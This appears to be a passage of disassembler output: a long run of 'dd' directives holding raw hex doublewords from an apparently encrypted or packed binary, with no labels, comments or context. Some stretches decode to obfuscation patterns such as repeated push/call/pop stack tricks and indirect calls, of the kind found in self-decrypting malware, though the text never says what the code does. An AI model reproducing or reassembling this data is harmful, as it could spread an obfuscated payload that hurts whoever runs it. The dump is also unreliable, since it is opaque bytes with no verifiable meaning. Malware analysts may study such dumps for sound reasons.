0D77E3621h, 35114F67h dd 5A12CF51h, 973C798Ch, 35114F5Bh, 661E79F0h, 3B013119h dd 47D82C9Fh, 1313DEAh, 7EE56Ch, 0B68A1E74h, 9307EB38h dd 3AA78207h, 2A000000h, 0B534FF1Dh, 9B0CDD67h, 8C749B30h dd 12DD36DDh, 8373095Ah, 0F25FDE7Bh, 9999CA5Fh, 0FD351148h dd 54CE111h, 7E740082h, 0AFDD162Ah, 2D6CD131h, 4D7C2DE5h dd 0E5h, 7DB24B14h, 76A7BE8Ah, 0DF65C3D1h, 3E1F6357h, 9FEDD3EDh dd 2912AA8Bh, 19297FCEh, 9DE441C1h, 8B92680Ch, 39CC1A52h dd 691B577Ch, 0B9B030F6h, 90D9EF5Eh, 56E3CD27h, 0A18869FEh dd 0AD7CCFF8h, 0EC7DF1DAh, 1FD630F6h, 0F6EC1856h, 0EFB8B330h dd 0F6E982A6h, 64B94C30h, 0DB14291Fh, 24EF0DA1h, 867A3745h dd 0C921C927h, 79C08D50h, 3036DD6Fh, 0DD122B61h, 0DF1358A3h dd 74351188h, 0F6612CFDh, 64AFCDEDh, 0E282C885h, 0E293307h dd 1BD369BFh, 0F8C52C05h, 0E5A77488h, 0D99342A4h, 0BB844F51h dd 8D000008h, 5652BB7Ch, 31371CCDh, 98E8F52Eh, 644CA986h dd 0AB220BE0h, 0A8819BFEh, 0EE36543h, 0E63FC325h, 5D92AB9Dh dd 4D1E70h, 351B1DEAh, 4B143141h, 151378B1h, 586CDF10h dd 0D162583Fh, 7F48D119h, 34FF1D62h, 95E9E2B5h, 3E30F670h dd 82CB9237h, 36DD8C7Fh, 18AC1FD6h, 9E6D0B30h, 6B099EEFh dd 115570E2h, 0A381435h, 94DC77h, 0D1811774h, 300F8C76h dd 0B0AF9A0Fh, 32000000h, 0E8E5B24Bh, 30F67092h, 0D79B6339h dd 14CC14C6h, 0BC8A220Dh, 9C3973A8h, 30F67394h, 16AC35Ah dd 1ECF56A2h, 419EA789h, 0AE658737h, 86ABF6DFh, 360236DDh dd 83E8F334h, 0AB1AD1F3h, 0A3788CD8h, 9BE67309h, 8E088EBBh dd 6CA1E2A7h, 0C13307D5h, 0BB419716h, 15A1DDF6h, 230A30F8h dd 25369D8h, 59095FF3h, 51579009h, 58E1ECBh, 36D99384h dd 7C825AEh, 6FF20000h, 0C05BADB6h, 2126026Bh, 798DFBC0h dd 0D3695FA4h, 0F1A63D06h, 5EA77488h, 301DD66Ah, 0E8F53230h dd 43A88598h, 0DF13B80Bh, 74351B1Eh, 0B14B3F5Ah, 10151378h dd 4B99F6DFh, 0E5437DB2h, 0A83C8F60h, 50C06A9Dh, 0FEF7506Eh dd 0D468BEDCh, 0D4B8369Fh, 0D81330F6h, 8D7CC7F1h, 0F6D4AAC0h dd 0CFD60130h, 0D284577Ch, 0E7F536DDh, 9CAC30B1h, 0FB7F2147h dd 48E3AA7Fh, 9A53EA30h, 71AEB7B1h, 0A27F9E47h, 758BBDDBh dd 78439CA1h, 18567F40h, 0B3B25762h, 79BE4CB8h, 8865F94Fh dd 0B17937F0h, 55D4BB81h, 62B5C982h, 0D71EB257h, 79C67472h dd 0DD0E16E4h, 147158A3h, 74C091Ch, 0B25762EBh, 0F68EE940h dd 5762EC6Fh, 0BC4A76B2h, 3805DA63h, 9DD1FA4Dh, 13B25762h dd 0ED40A31Dh, 73FAEDD9h, 0A27B82D6h, 63D4430Ah, 3800B257h dd 0F7283D0Ah, 0B7839AEEh, 0F13A72B3h, 0BF8DDE96h, 0F73048A9h dd 0F13A5852h, 4D0E450Eh, 84AF4B83h, 36FD1FBFh, 0A50F1EB7h dd 0A5E4E64h, 0B8833DF6h, 0FBB5BCEFh, 0A8AAE352h, 99A9854Dh dd 88E44D04h, 3EF3AFCh, 65B30000h, 0DB9801E2h, 6BA17949h dd 99621AD3h, 9A4C6E00h, 0D710A881h, 0ED507DCCh, 4C36DD78h dd 1C1941B8h, 4B525452h, 0DC9DDD86h, 5F7DB7E2h, 36421594h dd 2A3C6C21h, 3DA0B7F5h, 93AEE7A0h, 0DAB23469h, 794F24CEh dd 0E6C2C3C2h, 54078061h, 3153E39Dh, 0E9B80BFAh, 0F8798EECh dd 9D0A25B1h, 0EEE0D734h, 70F37AB7h, 1DD26BA1h, 374B0063h dd 9CB41200h, 8BDD4A55h, 0FECABD72h, 0D011B667h, 7F0B4755h dd 0C221C256h, 35EA7345h, 69DB2A93h, 0EC9EB5Eh, 602h, 0EBF03534h dd 4855869Dh, 210AE778h, 85EE3FC7h, 7B4099A3h, 3AC2B760h dd 9CAC84E1h, 0F80A7E47h, 4BD2D63Fh, 0F2D18992h, 1B00A5D9h dd 0C5800E35h, 18567FCEh, 0B330F670h, 6D8FEFB8h dd 2074C7A6h, 0C45C21Fh, 36DD7671h, 1ACF54E0h, 9AA37933h dd 82AC2B45h, 14DFFD74h, 735D3895h, 65CC333Ah, 3277F682h dd 2037202Ah, 0E37A4E67h, 0D02DBB0Ah, 4BAF8DE3h, 0C99AFAAFh dd 12E96DF3h, 0FBA74FE5h, 0E5CB5CA7h, 0B9F58F60h, 0A3BA85B5h dd 64D614Ah, 0FD79E789h, 2C1h, 34FF1DE4h, 95E9E2B5h, 3E30F670h dd 78CB9237h, 0AEC61B2Ch, 9D83C445h, 3636E3DCh, 0E4784C3Fh dd 0DF60B437h, 1BBD319Ah, 0DF16351Bh, 0B572F0F4h, 5E9730FBh dd 6F19D26Ah, 1B1B75E6h, 5CEC3835h, 8502ED87h, 0D768AAB3h dd 0B401621Ah, 0CAE4E436h, 604B529Dh, 978507A0h, 23AC34D3h dd 50Ah, 0E3C82D3Ch, 40AD7E85h, 3902DF60h, 9DE637CFh, 735891ABh dd 32CAAF18h, 94949CF9h, 0F072765Fh, 43DA2E37h, 0FAC981EAh dd 1B019DD1h, 0FD983635h, 0B534FF1Dh, 0E3DC1018h, 42EDBB36h dd 7FEC1FC7h, 1DEB85ECh, 0F831CA08h, 371C67C0h, 0EDB60B4h dd 71AEB799h, 9E5CE147h, 0CE1C5485h, 0B59CE738h, 8FBF83FBh dd 54A5A735h, 3C893CF8h, 6FC0456Bh, 76E96806h, 0E69E73FAh dd 0C1000001h, 437DB24Bh, 899260E5h, 0E9DAB40Dh, 0D33A9F3Ah dd 575D0A95h, 0EBF2A9F2h, 53D52382h, 8C1DE69Eh, 0A81BD0F2h dd 5A12C75Ch, 9A3788Ch, 0FB42C72Eh, 9348DC28h, 1E565D36h dd 7CF736DDh, 15156344h, 1EEF0348h, 0ED443511h, 0D24C0582h dd 0B635111Eh, 82D6AC5Ah, 99E5A27Bh, 74004FBAh, 4CA9h dd 0FF1D3000h, 0EA0DB769h, 6C772C77h, 65FECA9Dh, 906EFCB4h dd 0B04ACD2Bh, 9E45634Ah, 75BFC3AAh, 56B9EABFh, 0FF36DD33h dd 5D6B3C74h, 373AE267h, 0D0656AD6h, 0FFA5FF38h, 0E0523394h dd 8435111Fh, 4C079AA8h, 3B74004Bh, 0BBh, 7DB24B5Eh, 0D75FE543h dd 4FD736CAh, 6F1DE69Eh, 0FE06111Bh, 0C1FBC22Dh, 5C95AAFEh dd 7A4EDB24h, 94720AE3h, 9FED5C91h, 0F0F15687h, 0F6AEB98Fh dd 9EA6F230h, 71F4DC4Dh, 24409DA1h, 0F9D36E8Eh, 0B59EF9E4h dd 0BD0CC7E5h, 54859EEAh, 1D76D31Ch, 36E0367Eh, 12E544EFh dd 0F9F40A43h, 945F351Fh, 0C2172D33h, 2C3E0AF9h, 3276B1CBh dd 0F29AC3C7h, 355F26Ch, 516020F9h, 82DF6E96h, 36069F2h dd 0D76A0000h, 2833351Eh, 899EEAF3h, 0E16543A8h, 3BC1270Ch dd 59CE85EEh, 260FDC60h, 98E53EC2h, 705D9AA8h, 2B30ED70h dd 47BB10B3h, 0EC351B03h, 0B14BA7E2h, 10151378h, 4B99F6DFh dd 0FE8A7DB2h, 94AC14F1h, 2B470C4Dh, 8030F6F7h, 0BBD94EA9h dd 369FD86Dh, 30F6F7B8h, 94F1D813h, 8063A8CAh, 0DD2690CBh dd 0E7B3136h, 1F4153ECh, 0B1876641h, 0F27672AFh, 410C6831h dd 3511A5D3h, 0E88065E5h, 38CD0912h, 1EE49CE7h, 15BE0432h dd 3511A5D9h, 3A90FB72h, 16CF53A9h, 3634955Eh, 804B6908h dd 369F6E21h, 3511A5B8h, 64FD813h, 333A74CFh, 1064C76Eh dd 794ADF0Ch, 60B24B64h, 16BF0EDBh, 30F670D8h, 0E791F873h dd 4023FC01h, 863EF374h, 2A429FA0h, 21E6C1h, 2C9F5476h dd 0DD7D3CA7h, 1A529D36h, 117DC3B3h, 0BB4BA735h, 0B12B26h dd 30D874h, 5B510000h, 0F35FC702h, 6956F308h, 8962FACEh dd 1B9334FFh, 1AB332F9h, 36DD8CF7h, 70DD975Eh, 35116C06h dd 0E5788662h, 74009E6Eh, 0E015h, 0B24B7C00h, 0FFE8A7Dh dd 67A552B6h, 4A90E4A5h, 0F94F79B2h, 38F9664h, 42256978h dd 417B425Bh, 0A78E67FBh, 3FC6245Ch, 54DC85EEh, 9A30F6E4h dd 0E241AA83h, 0F70B4013h, 5C30F6E5h, 0E592E895h, 3E3930F6h dd 7CBE4769h, 962E09EEh, 197C4E6h, 2C06345Bh, 4BA72C61h dd 0E030F6DBh, 0A1DDF649h, 0A30F6DBh, 6C69D823h, 36DDD425h dd 0D603186Ch, 89F4559Eh, 173545AEh, 0D7E13AC1h, 29A2056Ch dd 3307BF4Ch, 0A1F776E1h, 3654E9Bh, 5B6020F9h, 98D992FEh dd 1A45FF8h, 93960000h, 0E47F4952h, 45DA2E37h, 9DA187ECh dd 0F70D7B40h, 1582D922h, 7A4398ACh, 0DC39FA0Eh, 0B49156D4h dd 6F74A9BCh, 37F5477h, 0A8351B04h, 0BACE6B26h, 40C599D8h dd 5E6AD5EFh, 4ADFD6DFh, 200DDE66h, 9BE03DC0h, 0ACFF1DC6h dd 0F670CB27h, 0EEC96030h, 8C2BB61Fh, 0AB8236DDh, 6CCAB411h dd 42AE3511h, 9E3221B4h, 0CED17400h, 0B8000000h, 0E8E5B24Bh dd 30F67092h, 35CA3E39h, 107BC4FCh, 6EC75B91h, 0F70DDBB9h dd 0E3398A22h, 0EE98358h, 7578C899h, 0AFB630F6h, 0A13157Eh dd 74EA004Dh, 0A86430F6h, 0DCA7F5F7h, 220D24A7h, 9BC8EA8Ah dd 0F666BC32h, 70811730h, 43B22DACh, 0E140ABB2h, 0B4A0E9EBh dd 8DF054ADh, 3CFF8DA8h, 0C06B3C52h, 0DDE75C8Bh, 117AF536h dd 19E82341h, 78006BCh, 2382AD33h, 0B19A4FD5h, 0E161ADB7h dd 5A6B3D04h, 9BD99320h, 0AC5EF9h, 8B9E0000h, 0DC6741AAh dd 3DC2260Fh, 95A99FE4h, 0EF757358h, 0DBAD13Ah, 725B9094h dd 0D431F276h, 8CE94EDCh, 674CA1A4h, 0FB775C6Fh, 50351B05h dd 0B14B633Eh, 10151378h, 0C8E039C2h, 4C3F046Fh, 9C0DEA78h dd 7DB24BDFh, 8F60E543h, 6EF1C7A6h, 789A14B5h, 899B30B3h dd 3A36E3DCh, 0DF64B033h, 21079D0Ah, 8EFAC31Ch, 0BD0EA677h dd 11AD46Fh, 0F58C128h, 4FB94307h, 67C04E58h, 0EFBE01DEh dd 46AC88E6h, 9F08232Ch, 12CB5256h, 0A57A8C5Ah, 54E24C0Bh dd 50BD728Bh, 9110CD50h, 0AC79F5DEh, 1BD22C46h, 36DF68Eh dd 0B4000000h, 0B64B8DCAh, 5CE14771h, 0F13E983h, 0B8489ED6h dd 61FB417Bh, 122AF088h, 0C559AFD9h, 758A5068h, 1D2604BCh dd 68FEB4CCh, 439Ch, 68243C89h, 406Ah, 68243489h, 591Dh dd 68240C89h, 5ED6C45h, 8324348Bh, 8B5404C4h, 0C483240Ch dd 418F5604h, 2434FF08h, 4C48359h, 5E2434FFh, 4C481h, 4CE90000h dd 0FFFFACEh, 6C0EE197h, 0C9825BB3h, 76A6B8E9h, 0C50305EDh dd 7C63E0FFh, 74F64BAFh, 5F041455h, 26E352F3h, 64663C29h dd 17BC0455h, 0A5483E81h, 0B1A188Fh, 67206199h, 0D1480FADh dd 0F1E483Ah, 2CFF0033h, 489E718Eh, 693A47EBh, 8D2A4851h dd 93E46267h, 0D9BC738Ah, 0AB462DFEh, 0C08B134Dh, 0FF055F5Ch dd 557D5A0Ah, 55C52ED2h, 61090D11h, 74C03134h, 0D6AF52C8h dd 87612397h, 18A4017Bh, 0AF0A0C0Bh, 0EDFA3CA4h, 63840CC0h dd 0E4A1407Ah, 13E835BEh, 69000000h, 7724FD40h, 3DD53B68h dd 3A28817Ch, 0A89E7D14h, 8B66C083h, 8F0F5FF3h, 13h, 0EE9h dd 3042D100h, 870FE1E6h, 0BF770107h, 814E3299h, 726FC7h dd 0DE800h, 1B570000h, 1BA34E09h, 90F43875h, 664A2CDFh dd 0BA5BF78Bh, 2D0B5A31h, 4650F281h, 78B2D0Bh, 5E95360h dd 0A3000000h, 30867A65h, 0CCF2815Eh, 61790CB4h, 745EF081h dd 52B91FFAh, 81676FAFh, 3D447F0h, 1F8D0F0Ch, 0E8000000h dd 14h, 0C3FC76B9h, 208762CDh, 0E68748BFh, 0D7450D1Eh dd 9649183Ch, 3B6C6ABBh, 0E8815B7Ch, 612E947h, 0BE9h, 699B9900h dd 0AA0098EBh, 0E5ABABE1h, 0ECBB0789h, 810A648Ah, 404F5EEFh dd 5AC78159h, 0E959404Fh, 12h, 93EF93ACh, 98ED1DA0h, 0ED0C7D22h dd 0CE3219B1h, 0EA81F385h, 1, 0FF68850Fh, 11E8FFFFh, 41000000h dd 0A5BF7397h, 2245D6E7h, 0EA040FE8h, 3BF9A3B4h, 0CFB952BEh dd 0C0815836h, 6C5Fh, 10E8h, 51E49500h, 4727A295h, 0EB5FC3C6h dd 10067846h, 10E86Eh, 28D80000h, 9094953Bh, 0E086AA3Fh dd 0C85FAA7Eh, 5E5E03F6h dd 1AEEBBh, 0FAB70F00h, 820F30FFh, 16h, 11E9h, 8C14AB00h dd 3B15C384h, 0A0680680h, 9CB46D18h, 8B5A28A2h, 3CF281FAh dd 0F54B1C6h, 385h, 0CB8B6600h, 214CEA81h, 0BF0F798Eh dd 0A5C281FFh, 805CE438h, 108953C9h, 5BE881FCh, 8131999Ah dd 999A57C0h, 0F4BF931h, 0FFFFA785h, 7E8FCFFh, 50000000h dd 0F39C3355h, 66501260h, 59E58BBFh, 0D781665Ah, 0C2812F31h dd 7372h, 5830Fh, 86BE0000h, 0BB0FE0B1h, 0 dd 1A048BF5h, 751DBF66h, 0FD69E881h, 9E935ADh, 78000000h dd 0D516CD4h, 52941F4Eh, 2DF9C081h, 0E9536DB5h, 10h, 1CA20875h dd 0FED4B221h, 6A4CAB04h, 7913F1Dh, 51C0815Eh, 8968A8D5h dd 0E9561A04h, 12h, 8C89C762h, 1E794F6Bh, 896D37BEh, 0F9C52D0Ah dd 665EB305h, 1012CF81h, 6601EB83h, 4B4BF18Bh, 74FB814Bh dd 0FFFFF8Dh, 3B85h, 1C860F00h, 0E8000000h, 10h, 0B7B7910Fh dd 85A5158Dh, 222462D8h, 33F04211h, 820Fh, 0E95E0000h dd 25h, 198EA6DCh, 0EEAA57A1h, 374B50F8h, 0C72D6C70h, 3106CBDAh dd 0C4D162BEh, 0FF47E974h, 2776FFFFh, 0D30037DBh, 0E08D8D9Bh dd 8905ED7Ah, 0E70EBD9Dh, 23E08105h, 891D38B0h, 0E723158Dh dd 158D0105h, 0C705E722h, 0E708B985h, 588C05h, 8DBD8900h dd 0C705E712h, 0E70C9985h, 5, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 4292A877h dd 5E8B3h, 5C6D0000h, 3410D42h, 0E729BD95h, 0B5895A05h dd 5E7228Dh, 19E5B5FFh, 6A05E7h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 160424h, 57470000h, 0F8EA20C3h, 0FFB8B66h dd 1983h, 14E900h, 62130000h, 1EB9A71Dh, 4A02587Eh, 8BDD6C00h dd 0AF0E626Ah, 95FF128Fh, 5E732CDh, 6E8h, 466B0500h, 89F878F8h dd 0E71569B5h, 6A5805h, 1A1D95FFh, 0C08B05E7h, 21350BEBh dd 1E105689h, 0C151AB7h, 8EB85h, 93000000h, 0E933708Eh dd 4A2h, 0ED7C0E68h, 26DE905h, 8568FFFAh, 0E905ED7Ch, 0FFFA0263h dd 0ED7DCD68h, 259E905h, 414FFFFAh, 5E4CDB75h, 5E4BD078h dd 4245D27Eh, 5941EE62h, 0AFC6EF61h, 418FCFFBh, 418FCFFAh dd 5FF1D1FAh, 5AF6D8F0h, 0D65A7F57h, 0EDC69899h, 6452C8BEh dd 0E2268A2Fh, 6BA3C375h, 21A9FA4Bh, 75E22C94h, 85D627C3h dd 665E4EB9h, 6A4F0727h, 0C375E286h, 0ED634C9Dh, 933BDA16h dd 5D117106h, 0AD2576C9h, 0CC68D0E5h, 1A6BC692h, 0E8F55C0h dd 97D6ECD8h, 186ED6ABh, 7318C692h, 94D34D57h, 0B3F161F1h dd 0F5000002h, 0B03C53E4h, 63D0E5EDh, 50C95CEAh, 0A774807h dd 0F6C53C41h, 0B2567FA9h, 0C35385F2h, 5E4FA2F3h, 6C803F7Eh dd 5C7921A9h, 0C03977D4h, 175F9EEFh, 107B1982h, 52672FCAh dd 0CA4640EEh, 0E45994E5h, 50A18185h, 0D0E8D17Eh, 7E40A38Ah dd 0C08A8B61h, 6EB916F5h, 88C213C0h, 8F4165A7h, 0D94668A0h dd 736BB7D0h, 0C393C860h, 5C000002h, 5DEA6650h, 58E76949h dd 5AE16F6Fh, 56FD5373h, 0D7FE5268h, 0F8DEC8A0h, 0F8DCCB50h dd 0E2C2CB50h, 0E7C7C16Eh, 0AB0E5869h, 0C6989EC5h, 35FBAFDEh dd 0DF1E3C6Ah, 1494CA0h, 0D1E6D429h, 74B75BA7h, 0A2E9B67Eh dd 4E7B449Ah, 88D9300Eh, 216CCADh, 1C6DC963h, 6ABD824Ah dd 1A046B4Ah, 1B072C3Ch, 9B1ADF23h, 0EC69838h, 4443381Eh dd 0C6A3EB6h, 24CA734h, 0E9D70000h, 0F6D463EDh, 0E6D378D0h dd 0FA2D7AD6h, 0E12976DAh, 17AE77D9h, 0E9675743h, 0E9675742h dd 0E7694942h, 0E26E7058h, 4E3287CFh, 45C6989Eh, 0EE026056h dd 50FFA72Fh, 21085678h, 5DE165C2h, 0B586C963h, 99209469h dd 0B556C698h, 0F950F15h, 7BB761ECh, 2F000001h, 0C4271700h dd 547A5292h, 0D1EF3906h, 0A188D6F6h, 8BE5AA59h, 7B44CC80h dd 33D21ED5h, 3DC13E9Bh, 0E536C95Ch, 38502499h, 6526C692h dd 0B0E57F65h, 4CE761F1h, 0E3000000h, 0C0A80D35h, 4AC375E2h dd 1530AD2Bh, 85D6A74Fh, 30D51BA6h, 20A23B9Eh, 0FEA6C95Ch dd 921855DBh, 0DE1D6EC6h, 963E1C6Dh, 7AA19F89h, 0DC2D7142h dd 18BC38E1h, 1ACAC692h, 0EECC0C35h, 8D0D5C9Fh, 0F1940D87h dd 0A93F61h, 358B0000h, 0DF1E3C6Ah, 0A8F6D8F0h, 176B535Fh dd 80DEE028h, 7A424FD0h, 0D6FDC524h, 0E8E47730h, 0F6D63D78h dd 0B95978D0h, 0A8C37565h, 3C745E60h, 79674E48h, 7C9DE5EDh dd 90F3515Bh, 0FE4684Bh, 0FAA3CE1h, 0C95F561Ah, 7BC48EDFh dd 70450D51h, 0C69F6688h, 737BBA8Bh, 74D4E22Ch, 9CB8E748h dd 210C6FBEh, 675CC1F9h, 0F6A3B60h, 104A833h, 919F0000h dd 8E9CABA5h, 0AE9BA0A8h, 0B295A2AEh, 0A991BE92h, 5F16BF91h dd 113F1F0Bh, 113F1F0Ah, 2F21010Ah, 2A260800h, 6EACF87h dd 1DC6989Fh, 6452B8EEh, 7BADFA56h, 35D5F55Bh, 3D01216Ah dd 6AA291ECh, 1F097644h, 965A113Fh, 817DFF7h, 1DFA391Dh dd 0C95D30A1h, 17993C96h, 2CC692ACh, 77D8F2C3h, 11DD734Bh dd 0AB0F0A19h, 80E3BBEBh, 92A45D27h, 0FEC0C8C6h, 0FDDDC552h dd 7C424AD5h, 92ECCF1Eh, 7DC9h, 0EE021100h, 328FA72Fh dd 496DBCDBh, 4BC21475h, 0A02A0957h, 6318D515h, 4C5F92C9h dd 0EA3B1268h, 3663CC94h, 0DA83806h, 0C69822BBh, 0DF1E6FB8h dd 5AF6D8F0h, 0A7FBDBCDh, 0FE1485D2h, 1DBD2CFFh, 11B99D8Fh dd 0E539010Eh, 9CABA984h, 6B54AA8Ch, 0BA3E1C20h, 32365CAh dd 0BB09B120h, 3A054D91h, 7EF23111h, 9CBCE9B6h, 745A72A1h dd 0CB526h, 35E50000h, 1B4DC27Dh, 240767A7h, 6652C8B8h dd 0EB3D0A50h, 8388F7CBh, 25105FA3h, 0B4E2CD11h, 434FB886h dd 0F1D8277Bh, 79A691EDh, 18327D41h, 5202E43Ah, 0C281E289h dd 4, 4BD55h, 0EA290000h, 2414875Dh, 0E089505Ch, 405h dd 4E88300h, 5C240487h, 68243489h, 1155h, 51240C89h, 0B9231568h dd 0E181592Eh, 5D1173ECh, 1DBFBA52h, 0C2812EABh, 464B582Eh dd 64A2CA81h, 42427BBEh, 2D11F281h, 0F28166E9h, 54DC5E36h dd 815AD121h, 1386E7E9h, 59CE8906h, 240C8B54h, 5204C483h dd 8F52F289h, 0FF5A0841h, 81592434h, 4C4h, 24348B00h, 81E18951h dd 4C1h, 4C18100h, 87000000h, 0E95C240Ch, 0FFF9FDE3h, 0B857CF8Bh dd 7F480798h, 1451B5CBh, 0F6B8D7E2h, 305ED7Eh, 4FE0FFC5h dd 63664C37h, 0CD1E6DA5h, 23A5D4Fh, 0ED45F482h, 571CB712h dd 4632DEB7h, 2C6C4798h, 8D3C3967h, 0ED807A8Dh, 50006A05h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h dd 380BEA25h, 0B0B7043Ah, 0FC78A77h, 298Eh, 13E800h, 0B61B0000h dd 59507625h, 0C495EB64h, 5C66030Dh, 5812372Dh, 0AE866h dd 0E9540000h, 46320148h, 483FFE11h, 8D895B5Eh, 5E72315h dd 8C2870BFh, 0B985C71Ch, 6005E708h, 3300005Eh, 0E70DE99Dh dd 9985C705h, 5E70Ch, 0F000000h, 1085h, 0BE900h, 36240000h dd 2CBD5309h, 0E045FCA0h, 0C5B5FF07h, 6605E708h, 6823F381h dd 32CD95FFh, 0F28B05E7h, 95FF006Ah, 5E71A1Dh, 78EBC08Bh dd 0E00DFBD2h, 0F622137Fh, 0AFC66B85h, 0E5B18197h, 916B4E41h dd 0C8AAE19Bh, 4DE4415Bh, 0A263AE3Ch, 22108AF5h, 50BF78C5h dd 97AB2DE8h, 623E902Dh, 638C019Ah, 82716FF8h, 0A5FED7F7h dd 5E596A70h, 0C5AF2435h, 0D0754363h, 0EA32BD71h, 61003552h dd 0AF766A57h, 94729E47h, 414AED47h, 0EE801345h, 42CCD9F6h dd 8DF2989Dh, 91D2A022h, 0E860E99Ch, 70FA1E5Dh, 34E42269h dd 81A88D8Dh, 853305EDh, 5E72B39h, 5A9FB752h, 23158D89h dd 6A05E7h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h dd 55450000h, 22B6DEC3h, 2A698D31h, 85C705E7h, 5E708B9h dd 6A84h, 2499958Bh, 85C705E7h, 5E70C99h, 0 dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 0ABC35040h dd 9EBE3070h, 0FF431A75h, 0E731DDB5h, 57006A05h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 0BD8D89CEh, 0FC05E708h, 32CD95FFh, 0BF6605E7h, 6A78BAh dd 1A1D95FFh, 0C08B05E7h, 72F26BEBh, 0B7869B60h, 0BB19D812h dd 65F4EBA5h, 983655A5h, 3F778165h, 3C24A44Bh, 0C6B49F57h dd 0F50AA1E2h, 88CEDF62h, 97041AE4h, 0DBFA0BBCh, 181AD098h dd 31971FC7h, 3881ECF2h, 8D9E48A0h, 25083EF6h, 513DA8E8h dd 50CB1C6Ch, 94561504h, 1AA09A9Bh, 4DCF6108h, 0DC088F05h dd 0CD098859h, 3A7FF140h, 0D0C50A11h, 9F84E8A1h, 0EF8D8D9Bh dd 5305ED82h, 19840Fh, 14E90000h, 0A4000000h, 172B6BD8h dd 1558B79Ch, 0ED3DCC42h, 851EEEB8h, 5A690F83h, 23158D89h dd 9D2905E7h, 5E70101h, 8B985C7h, 72BC05E7h, 0BF0F0000h dd 698D89F0h, 0C705E72Ah, 0E70C9985h, 5, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h dd 29BD8B92h, 0FF05E705h, 0E72D35B5h, 53006A05h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 0DCB239C2h, 9DB58B6Bh, 0FF05E716h, 0E732CD95h, 51006A05h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 6050DA2Ah, 2BD1858Bh, 0BD8905E7h, 5E715CDh, 0FF006A61h dd 0E71A1D95h, 0EBC08B05h, 531DF608h, 9EA0BE71h, 0FE895h dd 0D98B0000h, 2BEE6F0Fh, 0B6ADA348h, 509BDA77h, 5FDF8BF4h dd 0BE8h, 35B0E500h, 0CA5FDCE6h, 0E7CE8469h, 23759529h dd 815B05E7h, 59E6C7h, 0B8D08B00h, 5E08A040h, 7611C081h dd 958BA1F7h, 5E7145Dh, 0B58937FFh, 5E73105h, 6E959h, 0DC3B0000h dd 9304A602h, 0DB34E981h, 9D896789h, 5E720A5h, 0CD98C181h dd 81664951h, 815765F2h, 0D70203F1h, 0D2816662h, 8F51480Ah dd 81F28B07h, 0CF180BEFh, 4DCF8065h, 1807C781h, 816065CFh dd 5B98FFF1h, 0D195330Eh, 6105E701h, 1E881h, 850F0000h dd 0FFFFFF9Ch, 13E8h, 3CB55C00h, 5F391976h, 0FBCC8041h dd 1AA4F1B7h, 0C49BAE44h, 0AE850h, 14380000h, 792F3FFBh dd 8BE9A93Eh, 7E99D89h, 5A5F05E7h, 3FC6815Eh, 3000075h dd 0E7024595h, 1D1A6805h, 13E90000h, 53000000h, 57A08D78h dd 198F7C23h, 0DC76D9B0h, 2C77480Fh, 8B5998A2h, 0E936FFC2h dd 11h, 0B9618Ah, 26E09EC5h, 0F20DCD84h, 0EC3974D0h, 81F55B16h dd 0D525D6C3h, 75858B75h, 8105E726h, 7905FEF3h, 5595091Ch dd 8105E704h, 14E596EBh, 0BD958B03h, 8905E72Ch, 0DBD891Eh dd 8305E71Bh, 0E48004EEh, 1E9837Eh, 1C850Fh, 2CB80000h dd 0E921D2D1h, 24h, 99C157DEh, 1A3EF8DCh, 3244946h, 0A3CDEAAFh dd 0BD8BB5E0h, 5E7003Dh, 0FFFF84E9h, 375D03FFh, 39A374C2h dd 857A8D8Dh, 6A05EDh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 190424h, 55450000h, 9A5D8CC3h, 0FDEF3D2h, 138Bh, 0EE900h dd 0AFCB0000h, 0DED20702h, 2FA1418Eh, 61EE85CBh, 23158D89h dd 82BE05E7h, 0F770061h, 85C7C0BFh, 5E708B9h, 61FCh, 14E9h dd 93892400h, 9A2CCFDAh, 0B999442Bh, 0BB64E988h, 6687C846h dd 9985C728h, 5E70Ch, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 5898C356h, 0CA6533CCh dd 765FBE66h, 0EE852h, 1AE20000h, 938873D2h, 0DEA94DABh dd 7C077CDBh, 94B35A5Bh, 281DB5FFh, 8B6605E7h, 299D8BD9h dd 0FF05E715h, 0E732CD95h, 55006A05h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 0E24EC6D8h dd 95FF006Ah, 5E71A1Dh, 3DEBC08Bh, 7F278A02h, 34632850h dd 6D1CCE2Bh, 0A5E459D0h, 31A16BFEh, 34B337D4h, 868B697Bh dd 18D86B27h, 5798E8F5h, 5E7ACDCBh, 983D9990h, 0A4E51292h dd 0B5B76F8Eh, 0F50C65A5h, 6842D954h, 968D8D5Ch, 6A05ED86h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 0B225C355h, 9A837A10h, 95958B78h, 8905E703h dd 0E723158Dh, 21958B05h, 0C705E722h, 0E708B985h, 71B405h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h dd 0C3574700h, 14E67DECh, 85225059h, 12E89Fh, 8090000h dd 97842006h, 0D0E0583Ch, 0A8F2B5F2h, 0C26B2147h, 5C98D89h dd 0F5A05E7h, 389h, 0D38B6600h, 0C9985C7h, 5E7h, 0BD8B0000h dd 5E72ED5h, 262DB5FFh, 8BFC05E7h, 0CD95FFDEh, 6A05E732h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h dd 43000000h, 0B26DC353h, 39AB7FE8h, 0C3B70FA9h, 95FF006Ah dd 5E71A1Dh, 3EEBC08Bh, 0FF2529D5h, 0F755AC9Fh, 0B00BE280h dd 0E2B3E57Bh, 0D3603A8Ch, 4171ACFBh, 8320DBA2h, 0BAE34B8h dd 0F078C05Ch, 66B4509h, 20BEF1D1h, 0D4F2494Ch, 19E3ADBEh dd 0D4980FACh, 912BDD4Ch, 8D8D49DBh, 5ED87BCh, 137C46BFh 